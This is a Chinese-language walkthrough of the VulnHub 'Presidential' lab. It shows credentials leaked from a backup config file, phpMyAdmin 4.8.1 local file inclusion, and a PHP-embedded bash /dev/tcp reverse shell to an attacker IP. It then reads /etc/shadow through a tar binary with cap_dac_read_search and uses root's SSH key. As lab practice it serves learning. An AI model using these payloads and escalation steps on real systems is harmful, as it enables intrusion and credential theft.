当前位置: 首页 > article >正文

打靶记录24——Presidential

靶机:

https://www.vulnhub.com/entry/presidential-1,500/

下载(镜像):https://download.vulnhub.com/presidential/Presidential.ova

难度:

目标:

  • 获得 Root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • 备份文件
  • 子域名爆破
  • phpmyadmin
  • 密码爆破
  • 本地文件包含
  • Capabilities
  • 本地权限漏洞
  • SSH公钥认证

主机发现

sudo arp-scan -l

端口扫描和服务发现

sudo nmap -p- 192.168.31.15

sudo nmap -p80,2082 -sV 192.168.31.15

  • -sV:进行服务版本探测。它会尝试获取目标端口上运行的服务具体的软件版本信息,例如,如果 80 端口开放且运行着 HTTP 服务,它可能会探测出是 Apache 还是 Nginx 服务器以及对应的版本号等内容,有助于了解目标的软件环境,判断是否存在已知版本相关的安全漏洞等。
  • -sC:等同于 --script=default,会调用 nmap 默认自带的一系列脚本对目标进行检测。这些脚本可以帮助发现一些常见的安全配置问题、服务特性、漏洞信息等,比如可以检测目标是否存在弱密码、是否有一些不安全的 HTTP 配置等情况。

打开 80 端口的 Web 应用,发现有一个域名,那我们就直觉的先把它添加到 hosts 文件里面,方便进行域名解析

sudo vi /etc/hosts

然后我们通过域名来访问网站,没发现有啥不同

路径爬取

sudo dirsearch -u http://192.168.31.15

访问 http://votenow.local/config.php.bak 这个应该是一个备份文件,打开后 Ctrl + U 查看源代码,发现信息

其中包含了数据库的相关信息,库名和账号密码

<?php

$dbUser = "votebox";
$dbPass = "casoj3FFASPsbyoRP";
$dbHost = "localhost";
$dbname = "votebox";

?>

尝试用这个账号密码登录目标系统

ssh votebox@192.168.31.15 -p 2082

但是目标不支持密码登录方式,支持公钥身份认证方式登录

子域名爆破

gobuster vhost -u http://votenow.local/ -w /usr/share/seclists/Discovery/WebContent/directory-list-2.3-medium.txt | grep "Status: 200"

发现一个新域名 datasafe.votenow.local/,然后继续添加到 hosts 文件里面,访问发现是一个 phpmyadmin

使用前面在备份文件中获取到的账号密码 votebox/casoj3FFASPsbyoRP 成功登录进去

phpmyadmin

发现了账号密码 admin/$2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i ,先保存下来

在 URL 后面直接写 README 就可以看它的版本 http://datasafe.votenow.local/README

searchsploit phpmyadmin 4.8.1

使用下面那个 RCE 的代码不成功

本地文件包含

那就用其他的试试

现在这里执行一下

复制 session ,按照 44928.txt 中构造我们的 URL

注意我们的 URL 中多了个 s ,要把它去掉才能利用成功

发现成功了

反弹 shell

那么我们反弹 shell

select '<?php system("bash -i >& /dev/tcp/192.168.31.137/4444 0>&1");exit;?>'
  • system 函数:在 PHP 等编程语言中,system 函数用于执行操作系统命令。它会在服务器的 shell 环境中执行括号内的命令字符串。
  • bash -i:这部分启动一个交互式的 bash shell 环境。-i 选项表示交互模式,使得攻击者在获取到 shell 后能够更方便地与目标系统进行交互操作,如执行各种命令、查看文件系统等。
  • >& /dev/tcp/192.168.31.137/4444:这是一个重定向操作,将 bash 进程的标准输出(stdout)和标准错误输出(stderr)都重定向到一个 TCP 连接上。/dev/tcp/ 是一个在类 Unix 系统中用于创建 TCP 套接字的特殊设备文件路径表示方式,这里表示要连接到 IP 地址为 192.168.31.137 的主机上的 4444 端口。
  • 0>&1:这进一步确保了标准输入(stdin)也与标准输出和标准错误输出关联起来,使得攻击者能够通过建立的 TCP 连接向目标系统的 bash shell 发送输入命令,实现完整的交互式控制。

然后浏览器再访问 URL 就成功反弹 shell

PS:记得重新登录,获取一个新的 session

发现一个 admin 账号,我们前面有获得过一个 admin 的密码

用 john 爆破密码,获得密码 Stella

python -c "import pty;pty.spawn('/bin/bash')" 升级一下 shell

Capabilities 提权

getcap -r / 2>/dev/null 使用这个命令来检查系统上哪些文件具有特殊的功能权限。和 SUID 比较相似

  • getcap是一个用于获取文件功能(capabilities)的命令。在 Linux 系统中,文件功能是一种细粒度的权限机制,它可以让文件(通常是可执行文件)具有比传统的用户 / 组 / 其他权限更灵活的权限设置。
  • -r选项是递归(recursive)的意思,/是根目录,所以getcap -r /表示从根目录开始递归地获取所有文件的功能。
  • 2>/dev/null是一种标准错误输出重定向。在 Linux 系统中,文件描述符2代表标准错误输出。/dev/null是一个特殊的设备文件,它就像一个 “黑洞”,把写入其中的数据丢弃。所以2>/dev/null的作用是将命令执行过程中产生的错误信息丢弃,这样用户在终端上就看不到错误信息了。

ls -l /usr/bin/tarS 发现这个是 admin 账号可以使用的,它的属主和属组都是 admin,它既可以读也可以搜索 /usr/bin/tarS = cap_dac_read_search+ep

然后发现它就是一个 tar 命令,用来压缩、打包的

用 tarS 来读取 /etc/shadow 文件

1. 第一次尝试打包 /etc/shadow 文件(在 phpmyadmin 目录下)

  • 操作命令
    tarS -cvf shadow.tar /etc/shadow(在 [admin@votenow phpmyadmin] 目录下执行)
  • 结果及原因
    出现 tarS: shadow.tar: Cannot open: Permission denied 以及 tarS: Error is not recoverable: exiting now 的错误提示。这是因为在 phpmyadmin 目录下,当前用户(admin)没有足够权限在该目录创建 shadow.tar 文件,所以导致打包操作无法正常进行。

2. 第二次尝试打包 /etc/shadow 文件(在用户主目录 ~ 下)

  • 操作命令
    先通过 cd 命令回到用户主目录([admin@votenow ~]),然后再次执行 tarS -cvf shadow.tar /etc/shadow
  • 结果及相关说明
    这次操作成功开始打包,并且有 tarS: Removing leading /' from member names的提示,随后显示/etc/shadow,表示正在将 /etc/shadow文件添加到shadow.tar归档文件中。成功执行后,在当前目录(用户主目录)下可以看到生成了shadow.tar文件,通过ls 命令能看到相关文件列表(notes.txtshadow.taruser.txt` 等)。

3. 解压 shadow.tar 文件

  • 操作命令
    在用户主目录下执行 tar -xvf shadow.tar
  • 结果及后续查看
    解压后在当前目录下生成了 etc 目录(因为打包时去掉了 / 开头的绝对路径前缀,所以解压出来是相对路径形式的目录结构),通过 ls 命令能看到解压后的 etc 目录以及其他文件。进一步通过 ls -l 查看详细信息,可以看到 etc 目录的权限等信息(drwxrwxr-x 2 admin admin 20 Jan 3 10:05 etc)。

4. 查看 /etc/shadow 文件内容及权限修改

  • 查看文件内容遇到权限问题
    进入 etc 目录后([admin@votenow etc]),执行 ls -l 查看 shadow 文件(即之前打包解压出来的 /etc/shadow 的对应文件),发现其权限为 ----------,意味着除了超级用户(root)外,其他用户都没有任何权限访问该文件,所以当执行 cat shadow 命令时,提示 cat: shadow: Permission denied,无法查看文件内容。
  • 权限修改及再次查看内容
    接着执行 chmod 700 shadow 命令,将 shadow 文件权限修改为所有者具有读、写、执行权限(7 对应的权限位 rwx),所属组和其他用户都没有任何权限的情况。之后再次执行 cat shadow 命令就能成功查看文件内容了,文件内容展示了系统中各个用户账号(如 rootbinadmin 等)对应的加密后的密码信息(以 $ 符号分割的格式,如 $6$BvtXLMHn$zoYCSCRbdnaUOb4u3su6of9DDUXeUEe05OOiPIQ5AWo6AB3FWRr/RC3PQ4z.ryqn6o5xS9g4JTKHYI4ek9y541 等)以及密码相关的一些设置参数(如密码有效期等信息)。

  • tar 命令中,-c-v-f-x是四个不同的选项。
  • -c(Create):这个选项告诉 tar 命令创建一个新的归档文件。例如,当你想要将多个文件或目录打包成一个 .tar 文件时,就需要使用这个选项。
  • -x(Extract):这个选项指示 tar 命令从归档文件中提取(解压)文件和目录。它与创建归档文件的 -c 选项相对应。
  • -v(Verbose):它用于显示详细的操作信息。在打包过程中,-v 选项会让 tar 命令打印出正在添加到归档文件中的每个文件或目录的名称。这样用户可以清楚地看到打包的进度和具体内容。
  • -f(File)-f 选项用于指定归档文件的名称。它后面需要紧跟要创建或操作的归档文件名。例如,-cvf shadow.tar 表示创建一个名为 shadow.tar 的归档文件,并且在创建过程中显示详细信息。

然后想通过 john 来暴力破解 root 用户的密码但是失败了,而且花了很长时间

SSH 公钥认证

读取 root 的私钥文件,然后去登录 root 账号

打靶完毕!


http://www.kler.cn/a/466375.html

相关文章:

  • 如何利用人工智能算法优化知识分类和标签?
  • jenkins入门--安装jenkins
  • 小程序租赁系统开发的优势与应用前景分析
  • Android中创建ViewModel的几种方法
  • SpringBoot Maven 项目 pom 中的 plugin 插件用法整理
  • 在线二维码生成器-GO在线工具-文本工具
  • 【JavaScript】变量-常量-数据类型-类型转换
  • 如何使用axios实现并发请求
  • 【漫话机器学习系列】033.决策树回归(Decision Tree Regression)
  • 移动构造函数详解
  • MySQL使用通用二进制文件安装到Unix/Linux
  • 32单片机从入门到精通之开发环境——调试工具(七)
  • nodeJS下npm和yarn的关系和区别详解
  • 嵌入式应用软件开发中C语言方向面试题
  • ClickHouse副本搭建
  • 关于AI面试系统2025年趋势评估!
  • 【Multisim用74ls92和90做六十进制】2022-6-12
  • dns网址和ip是一一对应的吗?
  • AMP 混合精度训练中的动态缩放机制: grad_scaler.py函数解析( torch._amp_update_scale_)
  • Android 网络判断
  • Couchbase 的 OLAP 能力现状以及提升 OLAP 能力的方法
  • Android:动态去掉RecyclerView动画导致时长累加问题解决
  • 【蓝桥杯比赛-C++组-经典题目汇总】
  • cka考试-03-k8s版本升级
  • SpringBootWeb案例-2
  • 图形 3.5 Early-z和Z-prepass